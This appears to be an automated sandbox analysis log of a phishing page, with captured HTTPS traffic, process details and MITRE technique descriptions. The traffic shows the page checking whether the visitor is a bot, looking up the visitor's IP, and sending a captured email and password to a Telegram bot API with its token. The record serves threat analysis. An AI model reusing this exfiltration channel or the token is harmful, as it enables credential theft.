2025-04-15 18:06:48 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 06 4a 49 44 41 54 78 9c d5 9d cf 8b 14 47 14 c7 3f d5 3b 89 ca 1e 34 c2 1c 64 45 94 ec 21 06 3c e5 24 c9 dd fb 9c 93 8b 17 ef 42 30 e4 0f 08 09 0b fb 0f 04 bc e4 b4 97 3d 0a de 03 01 49 4e 21 f1 62 88 2c fe 40 45 43 84 d1 6c 74 ba 73 98 ad b5 a7 b7 ab ea 55 d5 eb 1f f9 c2 82 cc 56 77 bf fe f8 ba a7 df fb 56 d7 9a aa aa 2a 04 2a bf f8 9d ea cf d7 92 a1 6a 32 57 4e 03 50 dd 7e d1 ef 71 2f 9c a0 f8 e1 63 d1 d8 a2 e3 58 92 65 66 53 cc c6 f1 e5 cf 6c 3a 74 38 4e 4d 86 0e a0 4d 66 36 a5 b8 b6 c1 62 f6 2b 00 6b bb 97 28 81 6a f7 d9 b0 81 b5 68 74 19 68 66 53 8a eb e7 a8 76 9e c2 7c 01 f3 05 d5 ce Data Ascii: PNGIHDRPPpHYs+JIDATxG?;4dE!<$B0=IN!b,@ECltsUVwV**j2WNP~q/cXefSl:t8NMMf6b+k(jhthfSv\|
2025-04-15 18:06:48 UTC	319	IN	Data Raw: 09 0f 84 a5 1c 44 bc e9 fd cd 7d f8 eb 6d af 1e 8b 44 d6 c3 28 be 3e 2f 1a 2f 79 2f 06 3a 78 53 a9 ba f5 1c 73 f9 24 c5 f7 1f 2d 83 1e 58 f5 58 aa 5b cf d5 f7 df c9 bb 72 e5 f6 1e dc 7d 45 b1 b5 39 18 48 0b ae d8 da 3c 34 80 ba 50 67 8b 8f d5 1b 10 66 6b b3 53 b3 aa ae 90 87 a1 ad 4e 57 6f 5b 81 68 bb 35 1d 81 94 7a 18 da ea 7c f9 bb 66 2b 4c 1b 64 ac 87 a1 ad 5e d6 0f 6c eb 27 e6 82 4c f5 30 b4 d5 db 02 8c ae a6 6c 2c c8 5c 0f 43 5b bd ae 60 e9 eb 6c 87 40 6a 79 18 da ea 7d 09 d0 90 3d d0 04 09 a8 7a 18 da 32 e2 55 7c bf fa 03 1e ee 07 c7 89 97 4c 52 7c 05 3f 06 9e b9 20 78 8f 65 e3 18 c5 b7 1f 8a f6 27 cf c0 87 fb aa cb 20 4b 8c 2a 89 62 33 4f 72 0e 26 e2 f8 83 ae 1f 98 ed 9d 0c 74 d9 d6 35 f8 0a 96 c9 de c9 08 e0 c1 08 00 42 82 77 32 12 78 30 12 80 10 Data Ascii: D}mD(>//y/:xSs$-XX[r}E9H<4PgfkSNWo[h5z\|f+Ld^l'L0l,\C[`l@jy}=z2U\|LR\|? xe' K*b3Or&t5Bw2x0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.10	49750	3.161.136.8	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:48 UTC	628	OUT	GET /irk.org HTTP/1.1 Host: logo.clearbit.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:48 UTC	491	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close Date: Tue, 15 Apr 2025 18:06:48 GMT x-envoy-response-flags: - Server: Clearbit strict-transport-security: max-age=63072000; includeSubDomains; preload x-content-type-options: nosniff X-Cache: Error from cloudfront Via: 1.1 f4a9c912221b840a5f27fb82db198fd0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P4 X-Amz-Cf-Id: DFEQ2zeqXq98otPT3T9zv-Zy_IdFrtj9oPTM6Ezrxi7YcAn46wb2vQ==
2025-04-15 18:06:48 UTC	1	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.10	49751	192.0.73.2	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:49 UTC	431	OUT	GET /avatar/ebd41932ef87773e1b196b90510e3a5b?d=identicon HTTP/1.1 Host: www.gravatar.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:49 UTC	451	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 15 Apr 2025 18:06:49 GMT Content-Type: image/png Content-Length: 1688 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/ebd41932ef87773e1b196b90510e3a5b?d=identicon>; rel="canonical" Access-Control-Allow-Origin: * Accept-Ranges: bytes Expires: Tue, 15 Apr 2025 18:11:49 GMT Cache-Control: max-age=300 X-nc: HIT atl 1 Alt-Svc: h3=":443"; ma=86400
2025-04-15 18:06:49 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 06 4a 49 44 41 54 78 9c d5 9d cf 8b 14 47 14 c7 3f d5 3b 89 ca 1e 34 c2 1c 64 45 94 ec 21 06 3c e5 24 c9 dd fb 9c 93 8b 17 ef 42 30 e4 0f 08 09 0b fb 0f 04 bc e4 b4 97 3d 0a de 03 01 49 4e 21 f1 62 88 2c fe 40 45 43 84 d1 6c 74 ba 73 98 ad b5 a7 b7 ab ea 55 d5 eb 1f f9 c2 82 cc 56 77 bf fe f8 ba a7 df fb 56 d7 9a aa aa 2a 04 2a bf f8 9d ea cf d7 92 a1 6a 32 57 4e 03 50 dd 7e d1 ef 71 2f 9c a0 f8 e1 63 d1 d8 a2 e3 58 92 65 66 53 cc c6 f1 e5 cf 6c 3a 74 38 4e 4d 86 0e a0 4d 66 36 a5 b8 b6 c1 62 f6 2b 00 6b bb 97 28 81 6a f7 d9 b0 81 b5 68 74 19 68 66 53 8a eb e7 a8 76 9e c2 7c 01 f3 05 d5 ce Data Ascii: PNGIHDRPPpHYs+JIDATxG?;4dE!<$B0=IN!b,@ECltsUVwV**j2WNP~q/cXefSl:t8NMMf6b+k(jhthfSv\|
2025-04-15 18:06:49 UTC	319	IN	Data Raw: 09 0f 84 a5 1c 44 bc e9 fd cd 7d f8 eb 6d af 1e 8b 44 d6 c3 28 be 3e 2f 1a 2f 79 2f 06 3a 78 53 a9 ba f5 1c 73 f9 24 c5 f7 1f 2d 83 1e 58 f5 58 aa 5b cf d5 f7 df c9 bb 72 e5 f6 1e dc 7d 45 b1 b5 39 18 48 0b ae d8 da 3c 34 80 ba 50 67 8b 8f d5 1b 10 66 6b b3 53 b3 aa ae 90 87 a1 ad 4e 57 6f 5b 81 68 bb 35 1d 81 94 7a 18 da ea 7c f9 bb 66 2b 4c 1b 64 ac 87 a1 ad 5e d6 0f 6c eb 27 e6 82 4c f5 30 b4 d5 db 02 8c ae a6 6c 2c c8 5c 0f 43 5b bd ae 60 e9 eb 6c 87 40 6a 79 18 da ea 7d 09 d0 90 3d d0 04 09 a8 7a 18 da 32 e2 55 7c bf fa 03 1e ee 07 c7 89 97 4c 52 7c 05 3f 06 9e b9 20 78 8f 65 e3 18 c5 b7 1f 8a f6 27 cf c0 87 fb aa cb 20 4b 8c 2a 89 62 33 4f 72 0e 26 e2 f8 83 ae 1f 98 ed 9d 0c 74 d9 d6 35 f8 0a 96 c9 de c9 08 e0 c1 08 00 42 82 77 32 12 78 30 12 80 10 Data Ascii: D}mD(>//y/:xSs$-XX[r}E9H<4PgfkSNWo[h5z\|f+Ld^l'L0l,\C[`l@jy}=z2U\|LR\|? xe' K*b3Or&t5Bw2x0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.10	49754	173.231.16.77	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:11 UTC	600	OUT	GET /?format=json HTTP/1.1 Host: api64.ipify.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/plain, / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Origin: https://oka.greenthreads.hr Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:12 UTC	188	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 15 Apr 2025 18:07:11 GMT Content-Type: application/json Content-Length: 23 Connection: close Access-Control-Allow-Origin: * Vary: Origin
2025-04-15 18:07:12 UTC	23	IN	Data Raw: 7b 22 69 70 22 3a 22 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d Data Ascii: {"ip":"89.187.171.161"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.10	49757	66.33.22.4	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:12 UTC	544	OUT	OPTIONS /api/detect_bot HTTP/1.1 Host: k-bot-production.up.railway.app Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://oka.greenthreads.hr User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:12 UTC	344	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: OPTIONS, POST Access-Control-Allow-Origin: * Date: Tue, 15 Apr 2025 18:07:12 GMT Server: railway-edge X-Railway-Edge: railway/us-east4-eqdc4a X-Railway-Request-Id: GpwOTKKGR7aUxxpAh6iWdQ_2206645505 Connection: close Transfer-Encoding: chunked
2025-04-15 18:07:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.10	49756	173.231.16.77	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:12 UTC	391	OUT	GET /?format=json HTTP/1.1 Host: api64.ipify.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:12 UTC	156	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 15 Apr 2025 18:07:12 GMT Content-Type: application/json Content-Length: 23 Connection: close Vary: Origin
2025-04-15 18:07:12 UTC	23	IN	Data Raw: 7b 22 69 70 22 3a 22 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d Data Ascii: {"ip":"89.187.171.161"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.10	49758	66.33.22.4	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:13 UTC	672	OUT	POST /api/detect_bot HTTP/1.1 Host: k-bot-production.up.railway.app Connection: keep-alive Content-Length: 150 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/plain, / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/json sec-ch-ua-mobile: ?0 Origin: https://oka.greenthreads.hr Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:13 UTC	150	OUT	Data Raw: 7b 22 75 73 65 72 5f 61 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 33 34 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 2c 22 69 70 22 3a 22 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d Data Ascii: {"user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36","ip":"89.187.171.161"}
2025-04-15 18:07:13 UTC	435	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: OPTIONS, POST Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Tue, 15 Apr 2025 18:07:13 GMT Etag: "7cx3m6hb6b3j" Server: railway-edge Vary: Accept-Encoding X-Railway-Edge: railway/us-east4-eqdc4a X-Railway-Request-Id: d6C7TBg9TuKnjYeDaPWxZQ_186547883 Connection: close Transfer-Encoding: chunked
2025-04-15 18:07:13 UTC	133	IN	Data Raw: 37 66 0d 0a 7b 22 69 73 5f 62 6f 74 22 3a 66 61 6c 73 65 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 64 65 74 61 69 6c 73 22 3a 7b 22 69 73 70 22 3a 22 43 44 4e 37 37 22 2c 22 62 6f 74 5f 75 73 65 72 5f 61 67 65 6e 74 22 3a 66 61 6c 73 65 2c 22 73 63 72 61 70 65 72 5f 69 73 70 22 3a 66 61 6c 73 65 2c 22 73 75 73 70 69 63 69 6f 75 73 5f 74 72 61 66 66 69 63 22 3a 66 61 6c 73 65 7d 7d 0d 0a Data Ascii: 7f{"is_bot":false,"country":"US","details":{"isp":"CDN77","bot_user_agent":false,"scraper_isp":false,"suspicious_traffic":false}}
2025-04-15 18:07:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.10	49759	66.33.22.3	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:14 UTC	409	OUT	GET /api/detect_bot HTTP/1.1 Host: k-bot-production.up.railway.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:14 UTC	450	IN	HTTP/1.1 405 Method Not Allowed Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Methods: OPTIONS, POST Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Date: Tue, 15 Apr 2025 18:07:14 GMT Etag: "gz8ozgte0mu" Server: railway-edge Vary: Accept-Encoding X-Railway-Edge: railway/us-east4-eqdc4a X-Railway-Request-Id: s6JCq9moTTivjDtahEWATA_186547883 Connection: close Transfer-Encoding: chunked
2025-04-15 18:07:14 UTC	36	IN	Data Raw: 31 65 0d 0a 7b 22 65 72 72 6f 72 22 3a 22 4d 65 74 68 6f 64 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 22 7d 0d 0a Data Ascii: 1e{"error":"Method not allowed"}
2025-04-15 18:07:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.10	49760	149.154.167.220	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:14 UTC	576	OUT	OPTIONS /bot7622174179:AAHCV1oWQuJrs_r4R6A1iMz0oaj3zWCQiPk/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://oka.greenthreads.hr User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:14 UTC	345	IN	HTTP/1.1 204 No Content Server: nginx/1.18.0 Date: Tue, 15 Apr 2025 18:07:14 GMT Connection: close Access-Control-Max-Age: 86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: content-type Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.10	49761	149.154.167.220	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:15 UTC	704	OUT	POST /bot7622174179:AAHCV1oWQuJrs_r4R6A1iMz0oaj3zWCQiPk/sendMessage HTTP/1.1 Host: api.telegram.org Connection: keep-alive Content-Length: 385 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/plain, / sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/json sec-ch-ua-mobile: ?0 Origin: https://oka.greenthreads.hr Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:15 UTC	385	OUT	Data Raw: 7b 22 63 68 61 74 5f 69 64 22 3a 22 2d 31 30 30 32 33 38 34 32 39 37 37 36 34 22 2c 22 74 65 78 74 22 3a 22 5c 6e f0 9f 94 90 20 3c 62 3e 4c 6f 67 69 6e 20 44 65 74 61 69 6c 73 3c 2f 62 3e 5c 6e f0 9f 93 a7 20 3c 62 3e 45 6d 61 69 6c 3a 3c 2f 62 3e 20 32 33 6c 78 79 61 40 69 72 6b 2e 6f 72 67 5c 6e f0 9f 94 91 20 3c 62 3e 50 61 73 73 77 6f 72 64 3a 3c 2f 62 3e 20 76 48 79 42 3c 35 7c 69 3b 51 71 61 4a 3f 59 62 5c 6e f0 9f 8c 8d 20 3c 62 3e 49 50 20 41 64 64 72 65 73 73 3a 3c 2f 62 3e 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 5c 6e f0 9f 8f b3 ef b8 8f 20 3c 62 3e 43 6f 75 6e 74 72 79 3a 3c 2f 62 3e 20 55 53 5c 6e f0 9f 95 b5 ef b8 8f e2 80 8d e2 99 82 ef b8 8f 20 3c 62 3e 55 73 65 72 20 41 67 65 6e 74 3a 3c 2f 62 3e 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 Data Ascii: {"chat_id":"-1002384297764","text":"\n <b>Login Details</b>\n <b>Email:</b> 23lxya@irk.org\n <b>Password:</b> vHyB<5\|i;QqaJ?Yb\n <b>IP Address:</b> 89.187.171.161\n <b>Country:</b> US\n <b>User Agent:</b> Mozilla/5.0
2025-04-15 18:07:15 UTC	347	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Tue, 15 Apr 2025 18:07:15 GMT Content-Type: application/json Content-Length: 136 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-04-15 18:07:15 UTC	136	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 30 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 42 61 64 20 52 65 71 75 65 73 74 3a 20 63 61 6e 27 74 20 70 61 72 73 65 20 65 6e 74 69 74 69 65 73 3a 20 55 6e 73 75 70 70 6f 72 74 65 64 20 73 74 61 72 74 20 74 61 67 20 5c 22 35 7c 69 3b 71 71 61 6a 3f 79 62 5c 22 20 61 74 20 62 79 74 65 20 6f 66 66 73 65 74 20 38 37 22 7d Data Ascii: {"ok":false,"error_code":400,"description":"Bad Request: can't parse entities: Unsupported start tag \"5\|i;qqaj?yb\" at byte offset 87"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.10	49766	35.190.80.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:23 UTC	560	OUT	OPTIONS /report/v4?s=F19hcpuZzNU3kKuxi9tCv1Bft27sWiTrJTX3naYHbeCQgWh0PC8%2FkFZJ8a6%2FQg3%2Fu7JBVOMGFF9VKIHJHsSdNgcO%2FFW3YKDZInzb%2BMyf39MAXNTP7XuZyqPI2vqA7nE0YJiGF94QkPY%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://nero.kempo-karic.shop Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:23 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Tue, 15 Apr 2025 18:07:23 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.10	49767	35.190.80.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:07:24 UTC	535	OUT	POST /report/v4?s=F19hcpuZzNU3kKuxi9tCv1Bft27sWiTrJTX3naYHbeCQgWh0PC8%2FkFZJ8a6%2FQg3%2Fu7JBVOMGFF9VKIHJHsSdNgcO%2FFW3YKDZInzb%2BMyf39MAXNTP7XuZyqPI2vqA7nE0YJiGF94QkPY%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 520 Content-Type: application/reports+json Origin: https://nero.kempo-karic.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:07:24 UTC	520	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 38 37 36 34 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 39 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 36 34 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6e 65 72 6f 2e 6b 65 6d 70 6f 2d 6b 61 72 Data Ascii: [{"age":58764,"body":{"elapsed_time":691,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.64.1","status_code":405,"type":"http.error"},"type":"network-error","url":"https://nero.kempo-kar
2025-04-15 18:07:24 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 15 Apr 2025 18:07:23 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	14:06:09
Start date:	15/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7ea9f0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	14:06:10
Start date:	15/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1968,i,15005226337836667698,11510698760047465980,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2032 /prefetch:3
Imagebase:	0x7ff7ea9f0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:06:17
Start date:	15/04/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ralph.owa-netbros.shop/67f6835c479eb29c9fc8721b?utm_source=%7Br%7D&utm_medium=%7Br%7D&utm_campaign=%7Br%7D"
Imagebase:	0x7ff7ea9f0000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

